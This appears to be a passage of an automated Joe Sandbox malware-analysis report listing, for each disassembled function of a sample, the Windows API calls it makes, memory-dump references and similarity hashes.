GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00428BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00428BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00428C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00428C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00428C5F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 0810338bdc7b45b38145d5a8f317c35afe15f8d9aaa084c12ef42890f57c7ebb
Instruction ID: 4f5ccb7ae35ccd59be72c0da3447c2e9484eb5699cc79e5533e4f8dde2e319dd
Opcode Fuzzy Hash: 0810338bdc7b45b38145d5a8f317c35afe15f8d9aaa084c12ef42890f57c7ebb
Instruction Fuzzy Hash: 60515B35A002149FCB11DF65C881EAEBBF5FF49314F088099E949AB362CB35ED41CBA0

Function 00438EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00438F40
GetProcAddress.KERNEL32(00000000,?), ref: 00438FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00438FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00439032
FreeLibrary.KERNEL32(00000000), ref: 00439052

Part of subcall function 003CF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00421043,?,7529E610), ref: 003CF6E6
Part of subcall function 003CF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0040FA64,00000000,00000000,?,?,00421043,?,7529E610,?,0040FA64), ref: 003CF70D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 04c532f46edabdf48f46a098288ad06e0f7c894c071caa9d51db33e7d02a88f4
Instruction ID: 62808feb1f71e3321d8d744645850f31e40fb8d0f90c83b6dcc4b9fc9ba1438e
Opcode Fuzzy Hash: 04c532f46edabdf48f46a098288ad06e0f7c894c071caa9d51db33e7d02a88f4
Instruction Fuzzy Hash: 0E514934604205DFC715DF54C4848AABBB1FF49314F0880AAE90A9B762DB75ED86CF95

Function 003E2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003E20C3
_free.LIBCMT ref: 003E20E3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9b8469b75fb527ae136614404d66eab1fc55a23d21a676ad589a5b91e99c3085
Instruction ID: 3f99874bd38d3e47b9b1ab1d8a82c2b1eeca995085a8a6339c74ecc3ec857b32
Opcode Fuzzy Hash: 9b8469b75fb527ae136614404d66eab1fc55a23d21a676ad589a5b91e99c3085
Instruction Fuzzy Hash: 2241E232A002549FCB26DF79C881A5EB3A9EF89314F164669E515EB3D2D731AE01CB80

Function 003C912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 003C9141
ScreenToClient.USER32(00000000,?), ref: 003C915E
GetAsyncKeyState.USER32(00000001), ref: 003C9183
GetAsyncKeyState.USER32(00000002), ref: 003C919D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66ba218f86a41b78ff8853fd676a5696fa3493b88a84c3a546da6e56554d9770
Instruction ID: 1ec8eba47bbd1bc3f919f03ffe77eb94b554099006132d7781a0321482f90c08
Opcode Fuzzy Hash: 66ba218f86a41b78ff8853fd676a5696fa3493b88a84c3a546da6e56554d9770
Instruction Fuzzy Hash: 2F418231A0851AFBDF069F64C889BEEB774FF05324F25822AE425A72D0C7746D50CB96

Function 00423874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 004238CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00423922
TranslateMessage.USER32(?), ref: 0042394B
DispatchMessageW.USER32(?), ref: 00423955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00423966

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 1aef0dd9dcb62633d05b3ee9714e0f598f81d74d7877ef87d03045bb99b18334
Instruction ID: f441bb0457df672a12810421fc009921008162e2cf5c46513f74fdecb6b45ecc
Opcode Fuzzy Hash: 1aef0dd9dcb62633d05b3ee9714e0f598f81d74d7877ef87d03045bb99b18334
Instruction Fuzzy Hash: C53199F06042619EEB25DF34A849B6B37F89B06305F44096FD452C62A0D7BC95C5CB19

Function 0042CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0042C21E,00000000), ref: 0042CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0042CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0042C21E,00000000), ref: 0042CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0042C21E,00000000), ref: 0042CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0042C21E,00000000), ref: 0042CFF2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: a32c6bb8c874052d81b3b240f3fbd7be9ba12e07ea24192468182f4fc19faccd
Instruction ID: d29ee53ea83a2fb751d261ef8a3ed7ac019401550ba392b47550a0f75d1137a8
Opcode Fuzzy Hash: a32c6bb8c874052d81b3b240f3fbd7be9ba12e07ea24192468182f4fc19faccd
Instruction Fuzzy Hash: 27319F71600215EFDB20DFA5E9C4AAFBBFAEF04350B50402EF506D2280DB34AE41DB68

Function 00411901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00411915
PostMessageW.USER32(00000001,00000201,00000001), ref: 004119C1
Sleep.KERNEL32(00000000,?,?,?), ref: 004119C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 004119DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 004119E2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 851ce820bfd706658353744b3b8467bde5efca00f798c8497e66ef3276016392
Instruction ID: 8a8adc775d4a35a2298da7fc383cdcda04e1d39b3f18fc4b4581212a8b235a3e
Opcode Fuzzy Hash: 851ce820bfd706658353744b3b8467bde5efca00f798c8497e66ef3276016392
Instruction Fuzzy Hash: A631D6B5910219EFCB00CFA8CD99ADE3BB5EB05315F104226FA31A72E1C7749D54CB95

Function 00445706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00445745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0044579D
_wcslen.LIBCMT ref: 004457AF
_wcslen.LIBCMT ref: 004457BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00445816

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: c8bd6e53409aaa66cb6f34a65e81de132de4449b29b21157d503ffc8b5748cf6
Instruction ID: 20eaebf2a7f37ec5930dc119334c6fc9d67aa9154d9e0dac73d41d28a5076a8d
Opcode Fuzzy Hash: c8bd6e53409aaa66cb6f34a65e81de132de4449b29b21157d503ffc8b5748cf6
Instruction Fuzzy Hash: DD21A5759046189BEF20DF60CC85AEE77B8FF05324F108227E919EA281D7748985CF54

Function 00430930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00430951
GetForegroundWindow.USER32 ref: 00430968
GetDC.USER32(00000000), ref: 004309A4
GetPixel.GDI32(00000000,?,00000003), ref: 004309B0
ReleaseDC.USER32(00000000,00000003), ref: 004309E8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: fc0617a2035df23ee3739747604fac4e524c5f5fd38388b4665b62372ecaa4ae
Instruction ID: 06e6d19c99c5535d03247864fbad412c45260ef88d880725854145cde69434cb
Opcode Fuzzy Hash: fc0617a2035df23ee3739747604fac4e524c5f5fd38388b4665b62372ecaa4ae
Instruction Fuzzy Hash: E021DE39600214AFD710EF65D884AAEBBF8EF49704F04807DF84A97762CB34AC00CB94

Function 003ECDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003ECDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003ECDE9

Part of subcall function 003E3820: RtlAllocateHeap.NTDLL(00000000,?,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6,?,003B1129), ref: 003E3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 003ECE0F
_free.LIBCMT ref: 003ECE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003ECE31

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 32f7222144f9fa1be28873e9a884ac891d5ccb099712e38f740ec121c50f0612
Instruction ID: 9432618e39294729fefec6b5c979cd1d4fc1c71eaa8a68273c9421015f618c5b
Opcode Fuzzy Hash: 32f7222144f9fa1be28873e9a884ac891d5ccb099712e38f740ec121c50f0612
Instruction Fuzzy Hash: 1E01D8726122B57F63221B776C8CC7F696DDEC7BA23161329FD05D7181DA618D0281B4

Function 003C9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 003C9693
SelectObject.GDI32(?,00000000), ref: 003C96A2
BeginPath.GDI32(?), ref: 003C96B9
SelectObject.GDI32(?,00000000), ref: 003C96E2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: f04c96c33b9c1f428e0e53c72baca924f567b4a9fe373344a3361e1fe341acc4
Instruction ID: 2c1f388b1d8b7ec2b8bb353435f61bcc7bcd5c364a2e9c898832ca1948ac8508
Opcode Fuzzy Hash: f04c96c33b9c1f428e0e53c72baca924f567b4a9fe373344a3361e1fe341acc4
Instruction Fuzzy Hash: 0A215EB0802205EBDB129F64EC48BAD7B68BB01325F16062FF810A61F0D3709C62CB98

Function 00415711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00415726
_memcmp.LIBVCRUNTIME ref: 00415744
_memcmp.LIBVCRUNTIME ref: 00415757
_memcmp.LIBVCRUNTIME ref: 0041576F
_memcmp.LIBVCRUNTIME ref: 00415787

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: cbfdba1eee8ac64dfc6792c84c070030632fd7c60486dccb351119d8280747f2
Instruction ID: fe71e00ec2598c990d763bc30208a907cda89bebedf613b36bb9c55d684a35e0
Opcode Fuzzy Hash: cbfdba1eee8ac64dfc6792c84c070030632fd7c60486dccb351119d8280747f2
Instruction Fuzzy Hash: 2D01D6B6241605FBE20855109E83FFB634C9BA13A4F100033FD149E782F628ED5582A9

Function 003E2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,003DF2DE,003E3863,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6), ref: 003E2DFD
_free.LIBCMT ref: 003E2E32
_free.LIBCMT ref: 003E2E59
SetLastError.KERNEL32(00000000,003B1129), ref: 003E2E66
SetLastError.KERNEL32(00000000,003B1129), ref: 003E2E6F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 7ba53db0623b88f6e9a5cf2bc19d806740bde4e887d7ea6a3ef074edf25c48e6
Instruction ID: 551daf2742daf37eb54addc963efa15696d425c82fb137740a5bb0cf74a9333f
Opcode Fuzzy Hash: 7ba53db0623b88f6e9a5cf2bc19d806740bde4e887d7ea6a3ef074edf25c48e6
Instruction Fuzzy Hash: DD0128362466B467C61327776C8AD2B265DEBC27B5B364738F825A72D3EF348C014120

Function 0041000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?,?,0041035E), ref: 0041002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?), ref: 00410046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?), ref: 00410054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?), ref: 00410064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?), ref: 00410070

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: fd6b648eba38f9f8bd7219db86f591f7b30b0c6a86e18eea44bcdcb61f74d4ff
Instruction ID: d5ae64105c6dd5e41416765e0f3065587643b923a075812fb0cac6ef3ddcc157
Opcode Fuzzy Hash: fd6b648eba38f9f8bd7219db86f591f7b30b0c6a86e18eea44bcdcb61f74d4ff
Instruction Fuzzy Hash: 40018476601204BFDB505F64EC44BEA7EADEB48752F144125F905D2210E7B5DD8087A8

Function 0041E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0041E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0041E9A5
Sleep.KERNEL32(00000000), ref: 0041E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0041E9B7
Sleep.KERNEL32 ref: 0041E9F3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 58ff468892bb207cf4a7397d2d52c863493ca4a54d1cfc5a31050d4897031aae
Instruction ID: 1b1f75f9aba93b7270d96b2ce4bb55bb44bd7a93de36034a5b1d7df1f80aa65e
Opcode Fuzzy Hash: 58ff468892bb207cf4a7397d2d52c863493ca4a54d1cfc5a31050d4897031aae
Instruction Fuzzy Hash: FB019679C1252DDBCF409FE5DD896DDBB78FF09700F040556E902B2250DB345591CB6A

Function 004110F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00411114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 0041112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0041114D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 88ef722369e86cbccdf55b233ae7c3fa7af6102c37e01f6a8cfe8e88353fdf4d
Instruction ID: d461f6536e3af6872cce6ef614f7a6cb97bee86bd28850123ba251c387de486c
Opcode Fuzzy Hash: 88ef722369e86cbccdf55b233ae7c3fa7af6102c37e01f6a8cfe8e88353fdf4d
Instruction Fuzzy Hash: CA018179101205BFDB514FA5DC89EAB3F6EEF8A364B140425FA41C3360DB31DC408E64

Function 00410FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00410FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00410FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00410FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00410FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00411002

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: beb1e71e938f34caafe249a6dde5ec763be184e584b23c24e4e1e8302b218056
Instruction ID: 6824c7aeb47757e8c99c0ded387156268ec516e614194524fbd4980db257fcc8
Opcode Fuzzy Hash: beb1e71e938f34caafe249a6dde5ec763be184e584b23c24e4e1e8302b218056
Instruction Fuzzy Hash: 63F06D39642301EBDB214FA4DC8DF973FADEF8A7A2F144425FA45D7261CA74DC808A64

Function 00411014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

